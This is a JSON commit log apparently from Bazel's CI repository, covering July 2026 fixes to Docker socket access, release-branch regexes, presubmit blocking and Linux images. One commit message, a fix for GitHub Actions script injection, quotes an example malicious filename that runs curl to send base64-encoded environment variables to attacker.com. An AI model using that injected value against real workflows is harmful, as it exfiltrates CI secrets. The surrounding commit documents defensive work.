in\nrbe_config.bzl when generating RBE toolchain configurations:\n- By default (when RBE_CONFIG_CONTAINER is unset), rbe_config continues\nto use docker mode (--exec_mode\u003ddocker), compiling rbe_configs_gen via a\ngolang:1.21 container (DooD) and running detection inside Docker.\n- When RBE_CONFIG_CONTAINER is exported in the environment (e.g. CI\nworkers), rbe_config automatically switches to host mode\n(--exec_mode\u003dhost), compiling rbe_configs_gen natively on the host using\ngo build and running detection against the host filesystem without\nDocker.\n- Enforces Host Container Authority in host mode: the target container\nimage string in @rbe_ubuntu//config:platform is authoritatively\ndetermined by RBE_CONFIG_CONTAINER to prevent toolchain and ABI\ndiscrepancies.\n- Updates rules/README.md to document execution modes and environment\nvariables." }, { "commit": "a86aad73f39340053337979967c46d88c81d4d9b", "tree": "5fb4ee8697b0306f2009ababa36386a4cff7381b", "parents": [ "906a863b205d2f95ed2066c04bbe95278bca99d8" ], "author": { "name": "Ted", "email": "tedx@google.com", "time": "Thu Jul 30 10:48:57 2026 -0400" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Thu Jul 30 10:48:57 2026 -0400" }, "message": "Create a custom dev pipeline for tedx in bazel-testing (#2746)\n\nPoking around with experimental changes related to Docker usage in\nBazelCI." }, { "commit": "906a863b205d2f95ed2066c04bbe95278bca99d8", "tree": "732554230e759ea20d0fbb4f3913c7cb867bd755", "parents": [ "23001dc412286451f3d230e6dd95285672c70bdb" ], "author": { "name": "Ted", "email": "tedx@google.com", "time": "Wed Jul 29 14:54:06 2026 -0400" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Wed Jul 29 18:54:06 2026 +0000" }, "message": "Use `bazel mod deps` to update lockfile (#2744)\n\nCan\u0027t rely on `bazel build --nobuild` since not all of the requisite\nmodule extensions are dumped into the lockfile for whatever reason." }, { "commit": "23001dc412286451f3d230e6dd95285672c70bdb", "tree": "5412cac614e1a19df7e676de204c3d61866e55df", "parents": [ "8ddb517ffc3fe701f563d1124f10529c7f2ebc68" ], "author": { "name": "Ted", "email": "tedx@google.com", "time": "Wed Jul 29 12:33:09 2026 -0400" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Wed Jul 29 16:33:09 2026 +0000" }, "message": "Explicitly unset android env vars for macos (#2742)\n\nSeems that removing their values from the `environment` dict was\ninsufficient." }, { "commit": "8ddb517ffc3fe701f563d1124f10529c7f2ebc68", "tree": "e484d6beaa2921aec5bf8d65317fa19c06b51e61", "parents": [ "82a6cdbe33fc4748d0f92a4ba13835fd5ceee340" ], "author": { "name": "Ted", "email": "tedx@google.com", "time": "Wed Jul 29 12:10:14 2026 -0400" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Wed Jul 29 16:10:14 2026 +0000" }, "message": "Do not set Android env variables in release yml (#2741)\n\nThese are not necessary to build bazel, and are currently causing the\nrolling release build to break." }, { "commit": "82a6cdbe33fc4748d0f92a4ba13835fd5ceee340", "tree": "2af0d86afad737c0750f6ba964fafdda0814f968", "parents": [ "bf4dd844ae33da5f11cf592b39142ad285dac7f9" ], "author": { "name": "Keith Smiley", "email": "keithbsmiley@gmail.com", "time": "Mon Jul 27 11:21:21 2026 -0700" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Mon Jul 27 14:21:21 2026 -0400" }, "message": "Fix apple repo branch names (#2737)\n\nWe renamed these a while a back but this made it so main builds didn\u0027t\nrun" }, { "commit": "bf4dd844ae33da5f11cf592b39142ad285dac7f9", "tree": "e3e8466ff78b894b816bfd5f4c0602fa74864b0a", "parents": [ "71e7f6e4bf841665f565ba30662c4b5cb7c2dbd0" ], "author": { "name": "Xùdōng Yáng", "email": "wyverald@gmail.com", "time": "Thu Jul 23 16:34:24 2026 -0400" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Thu Jul 23 16:34:24 2026 -0400" }, "message": "Don\u0027t block for any postsubmit runs on release branches (#2736)\n\nCurrently, Bazel postsubmit pipelines are completely blocked (except for\na few runs that I manually unblocked;\nhttps://buildkite.com/bazel/bazel-bazel/builds?branch\u003drelease-8.8.0)\nbecause they have config file changes compared to the \"default branch\",\nwhich is master.\n\nThis PR makes it so that runs on release branches are never blocked. PR\nbranches whose base branch are release branches are unaffected (they\nwould still be blocked)." }, { "commit": "71e7f6e4bf841665f565ba30662c4b5cb7c2dbd0", "tree": "d0c4880be9b6a6905fb937297d2d022266ec6383", "parents": [ "1c9f84d83922d7d59941e81b2042fbd7bcd3871c" ], "author": { "name": "Ben Lee", "email": "ben@ben.cm", "time": "Thu Jul 23 07:20:09 2026 -0700" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Thu Jul 23 14:20:09 2026 +0000" }, "message": "Update rules_kotlin to build master branch (#2729)" }, { "commit": "1c9f84d83922d7d59941e81b2042fbd7bcd3871c", "tree": "3ad46f2a24a2af59d6f032459860b7b6c892b728", "parents": [ "a234ee1c750ff367022a1d434752a9c20068aaa9" ], "author": { "name": "Salma Samy", "email": "16399431+SalmaSamy@users.noreply.github.com", "time": "Thu Jul 23 11:32:09 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Thu Jul 23 11:32:09 2026 +0200" }, "message": "Create new pipeline for rules_servicetalk (#2732)\n\nAdding new pipeline according to #2727" }, { "commit": "a234ee1c750ff367022a1d434752a9c20068aaa9", "tree": "81ccfd67b9a0037d17c8bc64ea2a973a7608444e", "parents": [ "1d93bfb7b895b2046c81e7c8bb438c17bb13fa11" ], "author": { "name": "Salma Samy", "email": "16399431+SalmaSamy@users.noreply.github.com", "time": "Thu Jul 23 11:29:38 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Thu Jul 23 11:29:38 2026 +0200" }, "message": "Add permission to post the terraform plan in a comment (#2733)\n\nAfter [restricting the id-token\npermission](https://github.com/bazelbuild/continuous-integration/pull/2679/changes)\nto the \"detect-changes\" steponly, it was stripped off any other general\npermissions like: \"pull-requests: write\" (which was defined at the top\nof the workflow)\n\nWe need to re-add it to this step to be able to post a comment with the\nplan" }, { "commit": "1d93bfb7b895b2046c81e7c8bb438c17bb13fa11", "tree": "c4da2f0a48a8c9faf73ba602661f20db84c37310", "parents": [ "02993b78bfcefaf657214b57fa21ac0d1c632bc0" ], "author": { "name": "Salma Samy", "email": "16399431+SalmaSamy@users.noreply.github.com", "time": "Wed Jul 22 18:45:33 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Wed Jul 22 12:45:33 2026 -0400" }, "message": "Fix linux docker images pipeline (#2731)\n\nFix Create Linux Docker Image pipeline\n[Failures](https://buildkite.com/bazel-trusted/create-linux-docker-images\n)\n\nThis is a quick fix for Debian 10 and Ubuntu 20.04 Docker image builds.\nA full migration of CI pipelines to Debian 13 and Ubuntu 24.04 LTS is\nneeded as a long-term solution.\n\nDebian 10 reached End-of-Life (EOL) in June 2024. Active APT mirrors\n(deb.debian.org and security.debian.org) removed buster indices, causing\n404 Not Found errors during apt-get update.\nFix:\nRe-pointed EOL APT repositories to archive.debian.org and disabled repo\nexpiration checks to resolve 404 Not Found build failures.\n\nUbuntu 20.04:\nARM64 Google Cloud SDK failure: Recent SDK versions require Python 3.10+\non ARM64, conflicting with Ubuntu 20.04\u0027s default Python 3.8.\nFix: Pinned google-cloud-sdk\u003d466.0.0-0 (to resolve Python 3.8 dependency\nconflicts on ARM64)\n\nMissing OpenJDK 21 package: Canonical\u0027s official Ubuntu 20.04 APT\nrepositories do not carry Java 21 (they top out at Java 17).\nFix: switched to openjdk-17-jdk-headless (as OpenJDK 21 is not available\nin Ubuntu 20.04 repositories).\n\nChanges are tested on the [testing\nbranch](https://buildkite.com/bazel-trusted/create-linux-docker-images/builds/67)" }, { "commit": "02993b78bfcefaf657214b57fa21ac0d1c632bc0", "tree": "812d9f9e7345975fcbae9969156ca43a830e4912", "parents": [ "f613e43a2d19712927a96d694b30da638bf339f5" ], "author": { "name": "Ben Lee", "email": "ben@ben.cm", "time": "Tue Jul 21 08:21:22 2026 -0700" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Tue Jul 21 15:21:22 2026 +0000" }, "message": "Enable per-step commit status publishing for rules_kotlin (#2728)" }, { "commit": "f613e43a2d19712927a96d694b30da638bf339f5", "tree": "c4e4ccf775d78a33d4f1c0f20ebeb05aa760cdf3", "parents": [ "3912ba98052e2d24c60313131eec20c0ccc2caac" ], "author": { "name": "Keith Smiley", "email": "keithbsmiley@gmail.com", "time": "Fri Jul 17 15:12:31 2026 -0700" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Sat Jul 18 00:12:31 2026 +0200" }, "message": "Allow presubmit-auto-run to be used on other repos (#2720)\n\nThe biggest downside here is it requires rerunning jobs when labels\nchange. Technically people could also have access to change labels\nwithout having access to run jobs on buildkite, but IMO that\u0027s a minor\nrisk\n\nFixes https://github.com/bazelbuild/continuous-integration/issues/2719" }, { "commit": "3912ba98052e2d24c60313131eec20c0ccc2caac", "tree": "0f5d61bbe68072b93ed72176d652ec97c745c070", "parents": [ "a096de838a13446d8cec47411a3d3ad4c6055c97" ], "author": { "name": "Xùdōng Yáng", "email": "wyverald@gmail.com", "time": "Wed Jul 15 20:25:20 2026 -0400" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Wed Jul 15 20:25:20 2026 -0400" }, "message": "Change RELEASE_BRANCH_RE to MERGE_QUEUE_BRANCH_RE (#2726)\n\nThis regex is intended to detect the base branch for cherry-picks,\nincluding merge queue commits. However, actual cherry-pick PRs don\u0027t use\nthis code path, as they already have the\n`BUILDKITE_PULL_REQUEST_BASE_BRANCH` environment variable set. So\neffectively this regex is only used to detect merge queue branches.\n\nHowever, the current regex overmatches branches, including rolling\nrelease branches (e.g. `release-10.0.0-pre.20260630.1rc1`). Historically\nrolling release branches have used the default branch as the base. So\nthis PR changes the regex to narrowly match against merge queue\nbranches." }, { "commit": "a096de838a13446d8cec47411a3d3ad4c6055c97", "tree": "d113c75689c6f34e7c63519cc394674a39133db5", "parents": [ "eb0c23f359004301e6d36e74a44f51e7595ba838" ], "author": { "name": "Xùdōng Yáng", "email": "wyverald@gmail.com", "time": "Tue Jul 14 16:17:32 2026 -0400" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Tue Jul 14 16:17:32 2026 -0400" }, "message": "Fix RELEASE_BRANCH_RE for rolling releases" }, { "commit": "eb0c23f359004301e6d36e74a44f51e7595ba838", "tree": "964580c9499f47d6b5e7f6633a487ae1023bd40b", "parents": [ "3621bca7ef180d0315f7c704e20f682bf6621148" ], "author": { "name": "Xùdōng Yáng", "email": "wyverald@gmail.com", "time": "Mon Jul 13 13:43:01 2026 -0400" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Mon Jul 13 13:43:01 2026 -0400" }, "message": "Also disable behavior monitoring on Windows\n\nWork towards https://github.com/bazelbuild/continuous-integration/issues/2711" }, { "commit": "3621bca7ef180d0315f7c704e20f682bf6621148", "tree": "47623393adf25bf05a201f9f2dbbc41f7271a7ac", "parents": [ "35a1ea02a9da5604203f1bcb5fa1ef1b0f3fd25d" ], "author": { "name": "Xùdōng Yáng", "email": "wyverald@gmail.com", "time": "Mon Jul 13 09:36:22 2026 -0400" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Mon Jul 13 09:36:22 2026 -0400" }, "message": "Update nginx.conf" }, { "commit": "35a1ea02a9da5604203f1bcb5fa1ef1b0f3fd25d", "tree": "529180f6d89db8d741bc55e2193b887e2369f6a7", "parents": [ "22d351b5060a1f1634bc0208d74e918049266962" ], "author": { "name": "Florian Weikert", "email": "fwe@google.com", "time": "Fri Jul 10 03:14:50 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Fri Jul 10 03:14:50 2026 +0200" }, "message": "Fix RELEASE_BRANCH_RE (#2721)" }, { "commit": "22d351b5060a1f1634bc0208d74e918049266962", "tree": "30ebf45f30d7b73bae4acd41310ac3802795a59a", "parents": [ "78b67f2616a999ba50e55af40eefe23e6ce86570" ], "author": { "name": "Florian Weikert", "email": "fwe@google.com", "time": "Thu Jul 09 22:32:48 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Thu Jul 09 16:32:48 2026 -0400" }, "message": "Relax BCR presubmit config block check. (#2718)\n\nbcr_presubmit: This commit reverts \"Require maintainer review of risky\nconfig changes. (#2685)\" (36dd157dc727d2787c4f8f515825e63bdb52e4be)\nsince existing checks are good enough.\n\nbazelci.py: Only block if BCR\u0027s own presubmit.yml file is being changed." }, { "commit": "78b67f2616a999ba50e55af40eefe23e6ce86570", "tree": "20d6a4a4f66c9f15214ed74bcea268617dcc0c41", "parents": [ "c5dcece6318df9b000a5b649cae090d923c54fbe" ], "author": { "name": "Florian Weikert", "email": "fwe@google.com", "time": "Thu Jul 09 21:16:35 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Thu Jul 09 15:16:35 2026 -0400" }, "message": "BCR: Block fewer builds (#2717)\n\nOnly block builds with shell/batch commands in their yml configs, not\nall yml changes.\n\nCo-authored-by: Xùdōng Yáng \u003cwyverald@gmail.com\u003e" }, { "commit": "c5dcece6318df9b000a5b649cae090d923c54fbe", "tree": "3bc219e4fd78f756099091334459ecb87d728628", "parents": [ "f7cc798664fa30d578b45f32d23b6655bc1d5d12" ], "author": { "name": "Florian Weikert", "email": "fwe@google.com", "time": "Thu Jul 09 20:36:14 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Thu Jul 09 14:36:14 2026 -0400" }, "message": "Fix base branch detection for release cherrypicks. (#2716)" }, { "commit": "f7cc798664fa30d578b45f32d23b6655bc1d5d12", "tree": "0d813964500560772f94866578000a67c8968819", "parents": [ "548dce5c51c8f1d7996337040f47d28a7d136fbb" ], "author": { "name": "herdiyanitdev", "email": "82978131+herdiyana256@users.noreply.github.com", "time": "Wed Jul 08 23:18:25 2026 +0700" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Wed Jul 08 18:18:25 2026 +0200" }, "message": "fix(terraform): prevent script injection via env var isolation (#2679)\n\n## Summary\nAudit of `.github/workflows/` identified two files where GitHub Actions\nexpressions (`${{ }}`) are interpolated directly into bash `run:`\nscripts. This is the script injection class documented by [GitHub\nSecurity\nLab](https://securitylab.github.com/research/github-actions-untrusted-input/).\n\nThis PR applies the recommended mitigation across all affected steps:\npass expression values through `env:` block variables instead of inline\ninterpolation. When assigned via `env:`, the value is treated as a plain\nstring by the shell — metacharacters are never evaluated as commands.\n\n---\n\n## Files Changed\n### 1. `.github/workflows/terraform.yml` — **Critical** (3 fixes)\n\n**Fix 1 - Env var isolation for `tj-actions/changed-files` outputs**\n\nThe `Extract Orgs` step interpolated action outputs directly into bash:\n\n```yaml\n# BEFORE (vulnerable):\nrun: |\n CHANGED\u003d\"${{ steps.changed-files.outputs.all_changed_files }}\"\n DELETED\u003d\"${{ steps.changed-files.outputs.deleted_files }}\"\ntj-actions/changed-files outputs filenames from the PR branch — fully attacker-controlled. A filename like: buildkite/terraform/bazel/$(curl https://attacker.com/exfil?d\u003d$(env|base64)) would be evaluated as a shell command by bash.\n\n# AFTER (safe):\nenv:\n ALL_CHANGED_FILES: ${{ steps.changed-files.outputs.all_changed_files }}\n ALL_DELETED_FILES: ${{ steps.changed-files.outputs.deleted_files }}\nrun: |\n CHANGED\u003d\"$ALL_CHANGED_FILES\"\n DELETED\u003d\"$ALL_DELETED_FILES\"\n\nFix 2 - Scope id-token: write to terraform job only\nid-token: write was set at workflow level, making OIDC tokens available to all jobs including detect-changes which processes untrusted filenames. Moved to job-level permissions on terraform only.\n# BEFORE: id-token: write at workflow level → detect-changes also gets OIDC\npermissions:\n contents: read\n id-token: write\n pull-requests: write\n\n# AFTER: workflow-level has minimum permissions\npermissions:\n contents: read\n pull-requests: write\n\nterraform:\n permissions:\n contents: read\n id-token: write # ← only this job needs GCP WIF\n\n2. .github/workflows/release-rules.yml — Low (2 fixes)\nTwo inline ${{ }} expressions in run: blocks replaced with env vars:\n- ${{ env.RULES_VERSION }} in the version echo step\n- ${{ needs.create-release.outputs.rules_version }} in the staging dir name\n\nReferences\n- https://securitylab.github.com/research/github-actions-untrusted-input/\n- go/github-security\n\nCo-authored-by: Salma Samy \u003c16399431+SalmaSamy@users.noreply.github.com\u003e" }, { "commit": "548dce5c51c8f1d7996337040f47d28a7d136fbb", "tree": "1e6d712209c255a14570f065a6488d4afe40553d", "parents": [ "a2d20d30382ca5b42cb1554c206b2e3401ed5bc2" ], "author": { "name": "Salma Samy", "email": "16399431+SalmaSamy@users.noreply.github.com", "time": "Wed Jul 08 17:51:42 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Wed Jul 08 17:51:42 2026 +0200" }, "message": "Move ci-metrics tables to untrusted (#2714)\n\nTables are already created with needed permissions and this change will\nupdate the code to write to them.\n\n+ small test fix" }, { "commit": "a2d20d30382ca5b42cb1554c206b2e3401ed5bc2", "tree": "8ea49362df391e413ab710f04548545afad7b177", "parents": [ "8b8fbc4a922936b322b0ee84a0e87ce9d1526e28" ], "author": { "name": "Salma Samy", "email": "16399431+SalmaSamy@users.noreply.github.com", "time": "Wed Jul 08 11:43:26 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Wed Jul 08 11:43:26 2026 +0200" }, "message": "Limit github checkout time in bazel \u0026 bazel-trusted org (#2705)\n\nFollowing #2604 add the same limits to the other orgs" }, { "commit": "8b8fbc4a922936b322b0ee84a0e87ce9d1526e28", "tree": "25f79a0c4b2f5f4525d51cfb2edb0959d0d606f5", "parents": [ "46e21deeeec8371f2d46acb7a27a29e144288d12" ], "author": { "name": "Xùdōng Yáng", "email": "wyverald@gmail.com", "time": "Mon Jul 06 16:30:39 2026 -0400" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Mon Jul 06 16:30:39 2026 -0400" }, "message": "Retry Windows failures to work around #2711 (#2712)\n\nSee #2711. This is a temporary workaround while we look for an actual\nfix." }, { "commit": "46e21deeeec8371f2d46acb7a27a29e144288d12", "tree": "a1d5f9f83c4634c2dd2b44d69252baa12872432b", "parents": [ "004f778a6ab1c8e1d02c22433b42b0ff152dd898" ], "author": { "name": "Florian Weikert", "email": "fwe@google.com", "time": "Mon Jul 06 17:16:28 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Mon Jul 06 17:16:28 2026 +0200" }, "message": "End MacOS arm64 / Linux Docker incident. (#2710)\n\nFixes https://github.com/bazelbuild/continuous-integration/issues/2700" }, { "commit": "004f778a6ab1c8e1d02c22433b42b0ff152dd898", "tree": "2449528b484e5cb589858871894a9b20ce097fa7", "parents": [ "bdfb167c3963ddf83a121fc40ef9eae2126fd516" ], "author": { "name": "Florian Weikert", "email": "fwe@google.com", "time": "Mon Jul 06 17:13:59 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Mon Jul 06 17:13:59 2026 +0200" }, "message": "Stop updating Mintlify CLI at runtime (#2709)\n\nThe update step introduced another source of flakiness. We will have to\nrebuild the Docker image more often, but that\u0027s ok." }, { "commit": "bdfb167c3963ddf83a121fc40ef9eae2126fd516", "tree": "e6203623c81367996aacf523733dbf732d83677f", "parents": [ "e2cff770e0542f496274c5bb7d743c94104c2119" ], "author": { "name": "Florian Weikert", "email": "fwe@google.com", "time": "Thu Jul 02 20:45:10 2026 +0200" }, "committer": { "name": "Florian Weikert", "email": "fwe@google.com", "time": "Thu Jul 02 20:45:10 2026 +0200" }, "message": "Revert \"Add docker group to Buildkite docker plugin config (#2699)\"\n\nThis reverts commit 72926b5d0b947b00d4e658710fe2d5ac76b0fc44.\n" }, { "commit": "e2cff770e0542f496274c5bb7d743c94104c2119", "tree": "a3ea4453c44f471351470087fd92eb7fa0336365", "parents": [ "ca5cd356e718692daf18fce1c2293a24cb43466e" ], "author": { "name": "Florian Weikert", "email": "fwe@google.com", "time": "Thu Jul 02 20:02:57 2026 +0200" }, "committer": { "name": "Florian Weikert", "email": "fwe@google.com", "time": "Thu Jul 02 20:03:38 2026 +0200" }, "message": "Revert \"Upgrade Bazel CI machines (#2689)\"\n\nThis reverts commit 1fd2cabed5dabb5fc382af9dd1320af539724925.\n\nDocker support is completely broken, so I\u0027m reverting to old VM images. However, they won\u0027t run on c3d machines, so I need to revert this change, too.\n" }, { "commit": "ca5cd356e718692daf18fce1c2293a24cb43466e", "tree": "5b400e489970bfc607a1159f06de9d169f7ee2d4", "parents": [ "fcf6d613735d01e82d0678927c3e3140237680c8" ], "author": { "name": "Florian Weikert", "email": "fwe@google.com", "time": "Thu Jul 02 18:34:02 2026 +0200" }, "committer": { "name": "Florian Weikert", "email": "fwe@google.com", "time": "Thu Jul 02 18:34:02 2026 +0200" }, "message": "Revert \"Create the docker group with GID ensure a stable GID across all containers (#2703)\"\n\nThis reverts commit ddc4bfe659daf036b16333f68a58dcd889af8a5f.\n" }, { "commit": "fcf6d613735d01e82d0678927c3e3140237680c8", "tree": "ff25b315b1bf2c2d50bae84a5b8e27cf070299ca", "parents": [ "0e604325cd5607f73036444506c022dad7a9cca1" ], "author": { "name": "Florian Weikert", "email": "fwe@google.com", "time": "Thu Jul 02 18:33:50 2026 +0200" }, "committer": { "name": "Florian Weikert", "email": "fwe@google.com", "time": "Thu Jul 02 18:33:50 2026 +0200" }, "message": "Revert \"Update docker group ID (#2704)\"\n\nThis reverts commit 4e516e9348641fae9d6e5ce4858c272ecd2de1e6.\n" }, { "commit": "0e604325cd5607f73036444506c022dad7a9cca1", "tree": "990ba10dde6b529df9fd8a2fcb2362d3c37e228b", "parents": [ "199c30f33b2c602946cfdaa1f336ee6df436b4a3" ], "author": { "name": "Florian Weikert", "email": "fwe@google.com", "time": "Thu Jul 02 18:25:10 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Thu Jul 02 18:25:10 2026 +0200" }, "message": "Add option to re-create VMs for new images (#2707)" }, { "commit": "199c30f33b2c602946cfdaa1f336ee6df436b4a3", "tree": "3fe04af46af64c72dd92e12d89ea136aadf6349b", "parents": [ "4e516e9348641fae9d6e5ce4858c272ecd2de1e6" ], "author": { "name": "Florian Weikert", "email": "fwe@google.com", "time": "Thu Jul 02 17:29:50 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Thu Jul 02 17:29:50 2026 +0200" }, "message": "Revert \"fix: replace host docker.sock mount with Docker-in-Docker (#2573)\" (#2706)\n\nThis reverts commit c1c1db8dbd0cff3b8d00d79530329878082d4f89.\n\nCI is currently broken since too many tests still require access to the\nDocker socket. We have to fix them first before rolling this improvement\nforward." }, { "commit": "4e516e9348641fae9d6e5ce4858c272ecd2de1e6", "tree": "3a94a959862f44d948ed373515682b0e6886978d", "parents": [ "ddc4bfe659daf036b16333f68a58dcd889af8a5f" ], "author": { "name": "Salma Samy", "email": "16399431+SalmaSamy@users.noreply.github.com", "time": "Thu Jul 02 10:19:42 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Thu Jul 02 10:19:42 2026 +0200" }, "message": "Update docker group ID (#2704)\n\nRe: #2703\nTry a different group id" }, { "commit": "ddc4bfe659daf036b16333f68a58dcd889af8a5f", "tree": "18a92045d93be918a52d0c01879417612c9b6ae6", "parents": [ "23ae9c606938017d28c1dfb37800dc52b194c4b0" ], "author": { "name": "Salma Samy", "email": "16399431+SalmaSamy@users.noreply.github.com", "time": "Wed Jul 01 21:11:03 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Wed Jul 01 21:11:03 2026 +0200" }, "message": "Create the docker group with GID ensure a stable GID across all containers (#2703)\n\nA security update hardened the host VM\u0027s Docker socket to 0660\n(accessible only by the docker group). Because Buildkite runs your build\nsteps inside Docker containers under a custom user ID, Docker\nautomatically dropped the host\u0027s docker group membership from the\ncontainerized processes, blocking them from accessing the socket and\ncausing build failures.\n\nThe Fix\nTo restore socket access inside the build containers without\ncompromising security:\nVM Host Setup (setup-docker.sh): Pre-created the docker group on the GCE\nhost VM with a fixed, stable Group ID (GID 999).\nCI Pipeline Config (bazelci.py): Added \"additional-groups\": [\"999\"] to\nthe Buildkite Docker plugin. This forces Docker to attach GID 999 to the\ncontainer process. Using a GID number instead of the group name \"docker\"\nbypasses GID name-lookup issues inside base compiler images (like\nFedora).\n\nRelease Pipeline (pipelines/docker-update.yml): Applied the same\n\"additional-groups\": [\"999\"] fix to prevent future automated release\npipeline failures." }, { "commit": "23ae9c606938017d28c1dfb37800dc52b194c4b0", "tree": "4da8ed5d1731994d7dffb57fcb5eaa931e8e59b5", "parents": [ "72926b5d0b947b00d4e658710fe2d5ac76b0fc44" ], "author": { "name": "Florian Weikert", "email": "fwe@google.com", "time": "Wed Jul 01 18:38:08 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Wed Jul 01 16:38:08 2026 +0000" }, "message": "Update emergency.yml wrt two ongoing outages (#2701)" }, { "commit": "72926b5d0b947b00d4e658710fe2d5ac76b0fc44", "tree": "52d5f893f6a4b3cf25e08a2aa92e1664157b7818", "parents": [ "80995a3fcbab16c921203b0b283335aadd221e5a" ], "author": { "name": "Salma Samy", "email": "16399431+SalmaSamy@users.noreply.github.com", "time": "Wed Jul 01 16:54:29 2026 +0200" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Wed Jul 01 16:54:29 2026 +0200" }, "message": "Add docker group to Buildkite docker plugin config (#2699)\n\nFix [this\nerror](https://buildkite.com/bazel/bazel-bazel-github-presubmit/builds/34290#019f1cb3-0d36-48f5-8f69-f4bba4be27cc/L906),\ncaused by the [security hardening\ncommit](https://github.com/bazelbuild/continuous-integration/commit/c1c1db8dbd0cff3b8d00d79530329878082d4f89),\nwhich restricted the host\u0027s Docker socket permissions to 0660 (allowing\naccess only to root and members of the docker group).\n\nBecause the Buildkite agent runs CI build steps inside Docker containers\nunder a custom user ID, the containerized processes lacked permission to\ncommunicate with the host\u0027s hardened docker.sock. Adding \"docker\" group\nto our Buildkite Docker plugin configuration resolves this by granting\nthe containers the necessary group membership to access the socket and\nexecute Docker commands successfully." }, { "commit": "80995a3fcbab16c921203b0b283335aadd221e5a", "tree": "35d97b4b46695498f3126e4bbeb0f368747b8c7f", "parents": [ "1f4ba70bca7b44ba94917ce044a6d0a0528d68be" ], "author": { "name": "Ted", "email": "tedx@google.com", "time": "Tue Jun 30 19:22:46 2026 -0400" }, "committer": { "name": "GitHub", "email": "noreply@github.com", "time": "Tue Jun 30 23:22:46 2026 +0000" }, "message": "Update emergency.yml (#2698)" } ], "next": "1f4ba70bca7b44ba94917ce044a6d0a0528d68be" }